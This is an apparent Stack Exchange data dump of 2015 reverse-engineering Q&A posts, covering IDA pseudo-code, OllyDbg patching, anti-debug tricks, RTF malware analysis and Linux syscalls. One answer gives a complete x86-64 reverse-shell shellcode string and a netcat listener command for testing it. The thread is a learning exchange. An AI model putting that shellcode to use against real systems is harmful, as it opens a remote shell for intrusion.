href=&quot;https://www.exploit-db.com/exploits/35587/&quot; rel=&quot;nofollow&quot;&gt;https://www.exploit-db.com/exploits/35587/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shellcode in the first link works. The one in the second did not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I stepped through the program and each instruction lines up. However, after the last syscall, the program continues to execute the stack instead of exiting the thread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could really use help on it, I've been stuck on it all day.&lt;/p&gt;&#xA;" OwnerUserId="13146" LastActivityDate="2015-07-31T06:36:02.983" Title="One shellcode works, one doesn't - an issue with exploiting a 64 bit linux binary" Tags="|linux|exploit|x86-64|shellcode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9507" PostTypeId="1" CreationDate="2015-07-30T19:21:27.777" Score="1" ViewCount="134" Body="&lt;p&gt;I am trying to attach debug a program that has an &quot;anti-debug&quot; feature on it.  When stepping through, it seems to step through a maze of call and jmp commands that eventually just loop around.  The loop only happens when stepping line by line and I am trying to understand it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if there is added obfuscation, but why would lines such as this appear?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;014D658C   0FCA    BSWAP EDX&#xA;014D658E   0FCA    BSWAP EDX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I understand correctly, BSWAP will just invert the bits, but twice in a row should leave the EDX register untouched.  I've also noticed other strange things like comparing registers and then seemingly doing nothing with the result (no jump calls after or setcc or anything like that)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;014D657C   66:81FF 8408     CMP DI,884&#xA;014D6581   30D8             XOR AL,BL&#xA;014D6583   8D96 1A30A4DD    LEA EDX,DWORD PTR DS:[ESI+DDA4301A]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13147" LastActivityDate="2015-07-30T19:21:27.777" Title="BSWAP and CMP as obfuscation for Anti-Debugging?" Tags="|anti-debugging|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9508" PostTypeId="2" ParentId="9506" CreationDate="2015-07-31T06:36:02.983" Score="1" Body="&lt;p&gt;I've tested these two shellcodes and they both work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that you're missing the point of the second one. It's said :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;NOTE: This C code connects to 127.0.0.1:4444&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Meaning it's trying to connect to port 4444 on localhost (127.0.0.1). If nobody is listening on that port, then it won't connect and just trying to execute whatever is after you syscall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to execute it again, but this time you need to lauch some process waiting for a connection on port 4444 &lt;strong&gt;before&lt;/strong&gt; executing your shellcode, say &lt;em&gt;netcat&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ nc -lp 4444 -vv &#xA;listening on [any] 4444 ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And &lt;strong&gt;then&lt;/strong&gt;, when you execute your shellcode&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./execshellcode64 &quot;\x31\xf6\xf7\xe6\xff\xc6\x6a\x02\x5f\x04\x29\x0f\x05\x50\x5f\x52\x52\xc7\x44\x24\x04\x7d\xff\xfe\xfe\x81\x44\x24\x04\x02\x01\x01\x02\x66\xc7\x44\x24\x02\x11\x5c\xc6\x04\x24\x02\x54\x5e\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x56\x5a\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x0f\x05&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;nectat&lt;/em&gt; warns you (because of -vv meaning verbose) that there was a connection on that port&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $ nc -lp 4444 -vv&#xA;listening on [any] 4444 ...&#xA;connect to [127.0.0.1] from localhost.localdomain [127.0.0.1] 40234&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's the connection initiated by your shellcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; : &lt;em&gt;execshellcode64&lt;/em&gt; is just a personnal program I made for testing purpose. It's not actually a real command.&lt;/p&gt;&#xA;" OwnerUserId="13108" LastActivityDate="2015-07-31T06:36:02.983" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9509" PostTypeId="1" AcceptedAnswerId="9510" CreationDate="2015-07-31T07:16:54.467" Score="3" ViewCount="13071" Body="&lt;p&gt;I disassemble some code using IDA Pro and get the pseudo-code. It showed something like below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ( i = 0; i &amp;lt; 6; ++i )&#xA;{&#xA;  v7 = (int)&amp;amp;val_253;                         &#xA;  for ( k = 1; k &amp;lt; key[i]; ++k )&#xA;    v7 = *(_DWORD *)(v7 + 8);&#xA;  v4[i] = v7;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't understand what is happening in &lt;code&gt;v7 = *(_DWORD *)(v7 + 8);&lt;/code&gt; line. After executing this line the value of v7 changes from &lt;code&gt;0xC&lt;/code&gt;. I can't understand how it happens. I thought the value should change from &lt;code&gt;0x8&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I thought &lt;code&gt;*(_DWORD *)&lt;/code&gt; should return a value. But instead, it returns another pointer. How is that happened (The both values of the memory, &lt;code&gt;0xc&lt;/code&gt; away from &lt;code&gt;&amp;amp;val_253&lt;/code&gt; and &lt;code&gt;0x8&lt;/code&gt; away from &lt;code&gt;&amp;amp;val_253&lt;/code&gt; are zero).&lt;/p&gt;&#xA;" OwnerUserId="13059" LastEditorUserId="245" LastEditDate="2015-08-03T19:27:22.383" LastActivityDate="2015-08-04T06:36:17.543" Title="What is the meaning of *(_DWORD *)" Tags="|ida|decompilation|" AnswerCount="1" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9510" PostTypeId="2" ParentId="9509" CreationDate="2015-07-31T09:00:49.507" Score="7" Body="&lt;pre&gt;&lt;code&gt;v7 = *(_DWORD *)(v7 + 8);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Means :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v7 = *(v7 + 8)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or in assembly &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV v7, DWORD PTR [v7 + 0x8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(This is only for understanding purpose, chances are that it's not really like above samples)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;v7&lt;/code&gt; is assigned with the value located at address &lt;code&gt;v7+8*sizeof(DWORD)&lt;/code&gt;. For example, if &lt;code&gt;v7 = 0xabcd0123&lt;/code&gt; then &lt;code&gt;v7 + 8*sizeof(DWORD)  = 0xabcd0143&lt;/code&gt;. Whatever is located at &lt;code&gt;0xabcd0143&lt;/code&gt; will be assigned to &lt;code&gt;v7&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13108" LastEditorUserId="13108" LastEditDate="2015-08-04T06:36:17.543" LastActivityDate="2015-08-04T06:36:17.543" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9513" PostTypeId="2" ParentId="9161" CreationDate="2015-07-31T12:09:40.540" Score="1" Body="&lt;p&gt;The key used is simply a hash of ZigBeeAlliance09. You see it in your picture pretty clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ZigBee uses the the default key as basis for different hash permutation of &quot;ZigBeeAlliance09&quot;. Look it up in the ZigBee specification.&lt;/p&gt;&#xA;" OwnerUserId="13153" LastActivityDate="2015-07-31T12:09:40.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9514" PostTypeId="1" CreationDate="2015-07-31T15:14:03.547" Score="2" ViewCount="543" Body="&lt;p&gt;In Ollydbg 1.1, when I create on the fly patches, they're automatically disabled when I restart the application (the debugged one, not Olly) and I have to enable them manually again.&#xA;Is there a menu option I missed, or a script that can keep those enabled between restarts ?&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2015-08-01T13:29:10.770" Title="Avoid re-enabling patches between reruns in Ollydbg" Tags="|ollydbg|patching|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9515" PostTypeId="1" AcceptedAnswerId="9520" CreationDate="2015-07-31T17:31:24.160" Score="3" ViewCount="8743" Body="&lt;p&gt;While I'm doing a patching using IDA, I accidentally patch wrong bites and I can't remember what bytes were there before. Is there a way to undo it..?  &lt;/p&gt;&#xA;" OwnerUserId="13059" LastActivityDate="2018-09-14T07:56:53.777" Title="Undo patch in IDA" Tags="|ida|disassembly|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9516" PostTypeId="2" ParentId="9514" CreationDate="2015-07-31T17:46:04.117" Score="2" Body="&lt;p&gt;Fly patches are what they are : fly patches. So it is the normal behavior that they don't load whenever you restart the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to keep your patches between two executions, you've got two solutions :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Patch definitely your binary, so you won't have to do the patches again :&#xA;After you make a change to the code, highlight the changes, right click on it, choose 'Copy To Executable'. You can choose the current selection of what you just changed, or, you can choose to copy all changes to the executable.&#xA;When you select one, it will popup a new window which is the new file, right click in the new window that popped up, and choose 'Save file' and it will save the changes to the given file that you choose.&#xA;Step by step animation : &lt;a href=&quot;https://i.imgur.com/G1J7EVP.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://i.imgur.com/G1J7EVP.gif&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a plugin such as &lt;a href=&quot;http://rammichael.com/multimate-assembler&quot; rel=&quot;nofollow noreferrer&quot;&gt;Multiline Ultimate Assembler&lt;/a&gt; so you can write your patches, save them and load them whenever you want during execution time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11799" LastEditorUserId="11799" LastEditDate="2015-07-31T17:58:46.843" LastActivityDate="2015-07-31T17:58:46.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9518" PostTypeId="2" ParentId="9514" CreationDate="2015-07-31T18:27:34.713" Score="2" Body="&lt;p&gt;&lt;code&gt;ctrl+p&lt;/code&gt; -&gt; &lt;code&gt;space&lt;/code&gt; keep it pressed for multiple activation                                                                                                                                                    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;source code for enable patch plugin (to automate  the keystrokes posted above)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;#include &quot;plugin.h&quot;&#xA;#pragma comment(lib,&quot;user32.lib&quot;)&#xA;#pragma comment(lib,&quot;odbgvc10.lib&quot;)&#xA;/*&#xA;compiled and linked with&#xA;@call &quot;C:\Program Files\Microsoft Visual Studio 10.0\VC\vcvarsall.bat&quot; x86&#xA;cl /nologo /Zi /Zp1 /W4 /EHsc /O1 /J /FD /c /analyze /TP /WX patcha.cpp&#xA;link /nologo /dll  /RELEASE /incremental:no /debug patcha.obj&#xA;*/&#xA;int Enablepatch() { //use once to activate use again to deactivate all patches&#xA;  Createpatchwindow();&#xA;  t_table *patch = (t_table *)Plugingetvalue(VAL_PATCHES);&#xA;  int patches = patch-&amp;gt;data.n;&#xA;  Selectandscroll(patch,0,2);  &#xA;  for(int i=0;i&amp;lt;patches;i++) {&#xA;    SendMessage(patch-&amp;gt;hw,WM_KEYDOWN,VK_SPACE,MapVirtualKey(VK_SPACE,0));&#xA;  }&#xA;  return 0;&#xA;};&#xA;&#xA;BOOL WINAPI DllMain( HINSTANCE , DWORD , LPVOID ) { return 1; }&#xA;&#xA;extc int _export _cdecl ODBG_Plugindata( char shortname[32] ) {&#xA;  strcpy_s( shortname,30, &quot;patcha&quot; );&#xA;  return PLUGIN_VERSION;&#xA;};&#xA;&#xA;extc int _export _cdecl ODBG_Plugininit( int ollydbgversion, HWND , PULONG ){&#xA;  if (ollydbgversion&amp;lt;PLUGIN_VERSION) { return -1; }&#xA;  Addtolist( 0, 1, &quot;patcha Plugin by blabb&quot; );&#xA;  return 0;&#xA;};&#xA;&#xA;extc int _export _cdecl ODBG_Pluginmenu( int origin, char data[4096], PVOID ) {&#xA;  switch (origin) {&#xA;  case PM_MAIN:&#xA;    strcpy_s( data, 4000, &quot;0 &amp;amp;patcha&quot; );&#xA;    return 1;&#xA;  default: break;&#xA;  };&#xA;  return 0;&#xA;};&#xA;&#xA;extc void _export _cdecl ODBG_Pluginaction( int origin, int action, PVOID ) {&#xA;  if (origin==PM_MAIN) {&#xA;    switch (action) {&#xA;    case 0:&#xA;      Enablepatch();&#xA;      break;&#xA;    default:&#xA;      break;&#xA;    };&#xA;  };&#xA;};           &#xA;&#xA;                   .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-08-01T13:29:10.770" LastActivityDate="2015-08-01T13:29:10.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9519" PostTypeId="2" ParentId="9515" CreationDate="2015-07-31T19:48:41.270" Score="1" Body="&lt;p&gt;I don't know how you could unpatch them, since I think there is no way to do that(I'm talking about IDA 6.5, which I use).&#xA;But I would recommend you for future to use &lt;em&gt;Database Snapshots&lt;/em&gt; in IDA. It's very convenient - you can save the state of all your bytes, function names, comments and so on. If something went wrong you can just restore a snapshot in snapshot manager.&#xA;You can find the it in &lt;em&gt;View --&gt; Database Snapshot Manager&lt;/em&gt; in IDA Pro 6.5&lt;/p&gt;&#xA;" OwnerUserId="12670" LastActivityDate="2015-07-31T19:48:41.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9520" PostTypeId="2" ParentId="9515" CreationDate="2015-07-31T20:00:52.747" Score="7" Body="&lt;p&gt;There is a window to see all patched bytes, along with their unpatched versions: in the menu, use &lt;code&gt;View&lt;/code&gt; / &lt;code&gt;Open Subviews&lt;/code&gt; / &lt;code&gt;Patched Bytes&lt;/code&gt;, or press &lt;code&gt;STRG-ALT-P&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for IDA 6.8 (newest version), i don't know if older versions have the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, i recommend you to install the &lt;a href=&quot;https://github.com/iphelix/ida-patcher&quot; rel=&quot;noreferrer&quot;&gt;ida patcher plugin&lt;/a&gt;, which improves working with patches greatly; for example, you can copy/paste a patch from somewhere else; you can fill a region with identical bytes, and there is a window that's similar to the standard patcher window, but lets you assign comments to patches, and revert them with a single click to the context menu.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-07-31T20:00:52.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9521" PostTypeId="1" CreationDate="2015-07-31T23:58:37.717" Score="3" ViewCount="339" Body="&lt;p&gt;I am searching for an algorithm and/or snippet of code that provides a one-pass algorithm over a steady datastream that can detect a valid sequence of bytecode or opcode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no PE32, ELF, or Mach0 header information available to assist; so that means, none of the following entry-point, offset, segment, nor section information are on hand. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to think that ARM is harder than Intel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google isn't turning up much, so I figured that I must be using wrong terminology here.&lt;/p&gt;&#xA;" OwnerUserId="12145" LastActivityDate="2015-12-29T09:19:47.780" Title="One-pass streaming algorithm for detecting bytecode/opcode?" Tags="|disassembly|binary-analysis|digital-forensics|machine-code|assembly|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9522" PostTypeId="2" ParentId="9521" CreationDate="2015-08-01T01:40:51.633" Score="0" Body="&lt;p&gt;I don't think there is an optimal algorithm to search for byte code... Unless you know something else about the data stream, such as it is base 64 encoded, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing you could do is see if there is an excessive amount of NOP bytes (0x90, x86) but if one really wanted to, they could find ways to do the equivalent of NOP with different op codes. &lt;/p&gt;&#xA;" OwnerUserId="13148" LastActivityDate="2015-08-01T01:40:51.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9523" PostTypeId="1" AcceptedAnswerId="9524" CreationDate="2015-08-01T06:06:52.447" Score="0" ViewCount="200" Body="&lt;p&gt;I am currently trying to analyse a particular document that was flagged as malware in our honey pot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In virus total is shows up as being a Trojan and I have reason to believe it might be connected to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/ms14_017_rtf.rb&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/ms14_017_rtf.rb&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am searching Google and seeing very little information on how I can go about diagnosing  and reversing this. I want to see where it might be trying to connect back and what this is actually doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I go about reverse engineering  malware embedded in a Windows rtf and see what this is designed to do ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can provide the malware if anyone wants.&lt;/p&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2015-08-01T07:45:17.303" Title="Reverse engineer malware embedded in Microsoft rtf" Tags="|malware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9524" PostTypeId="2" ParentId="9523" CreationDate="2015-08-01T07:45:17.303" Score="1" Body="&lt;p&gt;Analysis often isn't worth it, unless your interest is academic don't spend too much time in analysing it. AV companies tend to use sandboxes and just monitor behaviour, that might be enough for you. Run the malware along with wireshark to see where it connects out to and block the C&amp;amp;C server IP address (as well as the domain the email was from and delete the message from all inboxes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;K, since that didn't answer your question, there seems to be a lot of research on the topic. A quick google for &quot;extract rtf payload&quot; gives a number of articles as well as some scripts to do it. Throw this in olly or ida and let the tracing begin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;O, and I hope your patching level was up to date :)&lt;/p&gt;&#xA;" OwnerUserId="12794" LastActivityDate="2015-08-01T07:45:17.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9525" PostTypeId="1" AcceptedAnswerId="9526" CreationDate="2015-08-01T12:17:20.077" Score="1" ViewCount="3993" Body="&lt;p&gt;I'm currently learning assembly, but I cannot seem to understand how storing values into registers and manipulating them results in a working program. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if you guys could provide a very easy to understand explanation on why certain things are being done within the assembly code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take for example the Hello World program in assembly code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;section     .text&#xA;global      _start                              ;must be declared for linker (ld)&#xA;&#xA;_start:                                         ;tell linker entry point&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Why does the message length need to be put into the EDX register? And why is the EDX register chosen rather than a DX register or EAX register?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     edx,len                             ;message length&#xA;mov     ecx,msg                             ;message to write&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I also do not understand why we are moving 1 into the EBX register? And for that matter moving 4 into the EAX register?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     ebx,1                               ;file descriptor (stdout)&#xA;mov     eax,4                               ;system call number (sys_write)&#xA;int     0x80                                ;call kernel&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why are we moving 1 into EAX? What is so significant about EAX compared to the other registers? And what happened to the 4 stored in EAX previously?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     eax,1                               ;system call number (sys_exit)&#xA;int     0x80                                ;call kernel&#xA;&#xA;section     .data&#xA;msg     db  'Hello, world!',0xa                 ;string&#xA;len     equ $ - msg                             ;length of string&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How does data in the individual register interact with each other? How do they know that data is stored within them? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;TL DR: How is it all merged to present Helloworld onto the screen? &lt;/p&gt;&#xA;" OwnerUserId="13134" LastEditorUserId="53" LastEditDate="2015-08-02T10:44:17.960" LastActivityDate="2015-08-02T10:44:17.960" Title="How does storing values in registers result in a functioning program?" Tags="|assembly|x86|linux|" AnswerCount="3" CommentCount="1" ClosedDate="2015-08-21T15:30:07.697" ContentLicense="CC BY-SA 3.0" />
  <row Id="9526" PostTypeId="2" ParentId="9525" CreationDate="2015-08-01T12:44:57.857" Score="3" Body="&lt;p&gt;It would be more helpful to give a &lt;em&gt;full&lt;/em&gt; sample program instead of bits and pieces. You could inline your questions using &lt;code&gt;;&lt;/code&gt;-preprended lines.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1) Why does the message length need to be put into the EDX register?&#xA;  And why is the EDX register chosen rather than a DX register or EAX&#xA;  register?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    mov     edx,len                             ;message length&#xA;    mov     ecx,msg                             ;message to write&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Where (in which register) each parameter lands really is a matter of the architecture (seemingly here x86_64): &lt;a href=&quot;https://en.wikipedia.org/wiki/Application_binary_interface&quot; rel=&quot;nofollow&quot;&gt;ABI&lt;/a&gt;. The order usually is the same as for the C runtime functions which are the frontend to the syscalls, here &lt;a href=&quot;http://man7.org/linux/man-pages/man2/write.2.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;write&lt;/code&gt;&lt;/a&gt;. It's a convention between the kernel and user mode.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2) I also do not understand why we are moving 1 into the EBX register?&#xA;  And for that matter moving 4 into the EAX register?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    mov     ebx,1                               ;file descriptor (stdout)&#xA;    mov     eax,4                               ;system call number (sys_write)&#xA;    int     0x80                                ;call kernel&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;One&lt;/strong&gt; is literally the file number of the &lt;a href=&quot;https://en.wikipedia.org/wiki/Standard_streams&quot; rel=&quot;nofollow&quot;&gt;standard stream&lt;/a&gt; named &lt;code&gt;stdout&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Four&lt;/strong&gt; is the system call number (essentially an index into a table) and &lt;strong&gt;&lt;code&gt;int 0x80&lt;/code&gt;&lt;/strong&gt; is a call gate into the kernel. I.e. execution transitions into the kernel and the respective system call (here &lt;code&gt;sys_write&lt;/code&gt;) knows where to take the parameters from.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why are we moving 1 into EAX? What is so significant about EAX&#xA;  compared to the other registers? And what happened to the 4 stored in&#xA;  EAX previously?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Usually the return value also ends up in EAX or EDX:EAX or similar. So the 4 would have been overwritten. It depends on the return type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;One&lt;/strong&gt; in this case is the system call number of &lt;code&gt;sys_exit&lt;/code&gt;, the kernel-side function for the libc &lt;a href=&quot;http://man7.org/linux/man-pages/man2/exit.2.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;exit&lt;/code&gt;&lt;/a&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;    mov     eax,1                               ;system call number (sys_exit)&#xA;    int     0x80                                ;call kernel&#xA;&#xA;section     .data&#xA;&#xA;msg     db  'Hello, world!',0xa                 ;string&#xA;len     equ $ - msg                             ;length of string&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;3) How does data in the individual register interact with each other?&#xA;  How do they know that data is stored within them?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They don't. The kernel picks them from these registers and the (user mode) developer simply has to know where to put these pieces of data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the normal case the user mode developer will, however, make use of a C runtime, like glibc.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2015-08-01T12:44:57.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9527" PostTypeId="2" ParentId="9525" CreationDate="2015-08-01T13:01:42.707" Score="0" Body="&lt;p&gt;Int 80 is a method of performing a syscall to the Linux kernel. This method is specific to Linux. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at arch/x86/include/asm/unistd_32.h&#xA;It has documentation for this &quot;function&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically in assembly you push your inputs to any function you call in reverse order to the stack. However this is a special command where the functional inputs are stored in the registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look also at &lt;a href=&quot;https://en.m.wikibooks.org/wiki/X86_Assembly/Interfacing_with_Linux&quot; rel=&quot;nofollow&quot;&gt;https://en.m.wikibooks.org/wiki/X86_Assembly/Interfacing_with_Linux&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13148" LastActivityDate="2015-08-01T13:01:42.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9529" PostTypeId="2" ParentId="9525" CreationDate="2015-08-01T15:46:22.750" Score="1" Body="&lt;p&gt;&lt;code&gt;int 80&lt;/code&gt; is used to perform system calls&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each  system call has an index  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The index is always passed in &lt;strong&gt;eax&lt;/strong&gt; register &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function calls may need arguments &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;first five arguments&lt;/strong&gt; are passed via &lt;strong&gt;ebx,ecx,edx,esi,edi&lt;/strong&gt; registers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are more than five arguments a special method is employed using an array pointer &lt;/p&gt;&#xA;&#xA;&lt;p&gt;prototype of sys_write is as follows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ssize_t sys_write(unsigned int fd, const char * buf, size_t count) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;index of sys_write  = 4   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eax = index == 4,    &#xA;ebx = fd    == 1,stdout    &#xA;ecx = char* == msg   &#xA;edx = count == len   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;same goes to sys_exit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;take a look at the links below for a concise syscall index ,arguments ,prototypes , and source details&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html#note117&quot; rel=&quot;nofollow&quot;&gt;http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html#note117&lt;/a&gt;&#xA;&lt;a href=&quot;http://asm.sourceforge.net/syscall.html#4&quot; rel=&quot;nofollow&quot;&gt;http://asm.sourceforge.net/syscall.html#4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-08-01T15:46:22.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
